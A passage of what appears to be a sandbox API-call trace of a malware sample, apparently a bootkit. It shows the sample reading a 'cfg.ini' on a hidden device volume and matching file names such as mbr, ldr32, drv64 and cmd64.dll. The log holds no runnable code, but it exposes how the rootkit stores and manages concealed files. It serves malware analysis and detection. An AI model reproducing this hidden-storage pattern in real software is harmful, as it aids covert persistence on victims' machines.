| out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.431] KeEnterCriticalRegion () [0124.431] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.431] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.431] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.431] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.431] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.431] IdePortDispatch () returned 0x103 [0124.431] KeWaitForMutexObject () returned 0x0 [0124.431] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.431] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.431] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.431] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.431] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.431] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beef10 [0124.431] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.431] KeLeaveCriticalRegion () [0124.431] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.431] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.431] KeEnterCriticalRegion () [0124.431] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.431] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.431] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.431] KeLeaveCriticalRegion () [0124.431] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.431] KeEnterCriticalRegion () [0124.431] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.431] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.431] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.431] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.431] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.431] IdePortDispatch () returned 0x103 [0124.432] KeWaitForMutexObject () returned 0x0 [0124.432] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.432] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.432] KeLeaveCriticalRegion () [0124.432] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.432] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.432] KeEnterCriticalRegion () [0124.432] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.432] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003553000 [0124.432] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.432] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.432] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.432] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.432] IdePortDispatch () returned 0x103 [0124.432] KeWaitForMutexObject () returned 0x0 [0124.432] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.432] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.432] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.432] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.432] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.432] IdePortDispatch () returned 0x103 [0124.433] KeWaitForMutexObject () returned 0x0 [0124.433] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.433] KeLeaveCriticalRegion () [0124.433] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.433] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.433] KeEnterCriticalRegion () [0124.433] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.433] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.433] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.433] KeLeaveCriticalRegion () [0124.434] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.434] KeEnterCriticalRegion () [0124.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.434] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.434] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bef950, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.434] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.434] KeLeaveCriticalRegion () [0124.434] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.434] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.434] KeEnterCriticalRegion () [0124.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.434] ExFreePoolWithTag (P=0xfffffa8003beef10, Tag=0x0) [0124.434] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.434] KeLeaveCriticalRegion () [0124.434] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.434] ReleaseMutex (hMutex=0xf0) returned 1 [0124.434] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.434] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.434] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.434] KeEnterCriticalRegion () [0124.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.434] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.434] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.434] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.434] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.434] IdePortDispatch () returned 0x103 [0124.434] KeWaitForMutexObject () returned 0x0 [0124.434] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.434] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.434] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.435] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.435] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.435] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1d60 [0124.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.435] KeLeaveCriticalRegion () [0124.435] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.435] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.435] KeEnterCriticalRegion () [0124.435] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.435] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.435] KeLeaveCriticalRegion () [0124.435] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.435] KeEnterCriticalRegion () [0124.435] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.435] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.435] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.435] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.435] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.435] IdePortDispatch () returned 0x103 [0124.435] KeWaitForMutexObject () returned 0x0 [0124.435] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.435] KeLeaveCriticalRegion () [0124.435] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.435] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.435] KeEnterCriticalRegion () [0124.435] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.435] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003554000 [0124.435] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.435] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.435] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.435] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.435] IdePortDispatch () returned 0x103 [0124.436] KeWaitForMutexObject () returned 0x0 [0124.436] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.436] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.436] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.436] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.436] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.436] IdePortDispatch () returned 0x103 [0124.436] KeWaitForMutexObject () returned 0x0 [0124.436] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.436] KeLeaveCriticalRegion () [0124.436] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.436] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.436] KeEnterCriticalRegion () [0124.436] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.436] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.436] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.436] KeLeaveCriticalRegion () [0124.437] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.437] KeEnterCriticalRegion () [0124.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.437] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.437] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1e20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.437] KeLeaveCriticalRegion () [0124.437] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.437] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.437] KeEnterCriticalRegion () [0124.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.437] ExFreePoolWithTag (P=0xfffffa8003bf1d60, Tag=0x0) [0124.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.437] KeLeaveCriticalRegion () [0124.437] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.437] ReleaseMutex (hMutex=0xf0) returned 1 [0124.437] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.437] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.437] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.437] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.437] KeEnterCriticalRegion () [0124.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.437] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.437] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.437] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.437] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.437] IdePortDispatch () returned 0x103 [0124.437] KeWaitForMutexObject () returned 0x0 [0124.437] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.437] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.437] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.437] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.437] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.437] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.437] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.437] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.438] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.438] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.438] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.438] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.438] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.438] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.438] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.438] KeLeaveCriticalRegion () [0124.438] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.438] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.438] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.438] KeEnterCriticalRegion () [0124.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.438] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.438] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.438] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.438] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.438] IdePortDispatch () returned 0x103 [0124.438] KeWaitForMutexObject () returned 0x0 [0124.438] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.438] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.438] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.438] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.438] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.438] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.438] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.438] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.438] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.438] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.438] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.438] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.438] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.438] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.438] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.438] KeLeaveCriticalRegion () [0124.438] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.438] ReleaseMutex (hMutex=0x100) returned 1 [0124.438] Sleep (dwMilliseconds=0x2bf20) [0124.445] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d5e5030, dwHighDateTime=0x1d24fa4)) [0124.445] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.445] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.445] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.445] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.445] KeEnterCriticalRegion () [0124.445] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.445] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.445] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.445] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.445] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.445] IdePortDispatch () returned 0x103 [0124.445] KeWaitForMutexObject () returned 0x0 [0124.445] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.445] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.445] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.445] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.445] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.445] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf17a0 [0124.445] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.445] KeLeaveCriticalRegion () [0124.445] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.445] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.445] KeEnterCriticalRegion () [0124.445] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.445] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.445] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.445] KeLeaveCriticalRegion () [0124.445] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.446] KeEnterCriticalRegion () [0124.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.446] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.446] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.446] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.446] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.446] IdePortDispatch () returned 0x103 [0124.446] KeWaitForMutexObject () returned 0x0 [0124.446] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.446] KeLeaveCriticalRegion () [0124.446] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.446] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.446] KeEnterCriticalRegion () [0124.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.446] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003557000 [0124.446] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.446] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.446] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.446] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.446] IdePortDispatch () returned 0x103 [0124.446] KeWaitForMutexObject () returned 0x0 [0124.446] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.446] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.446] 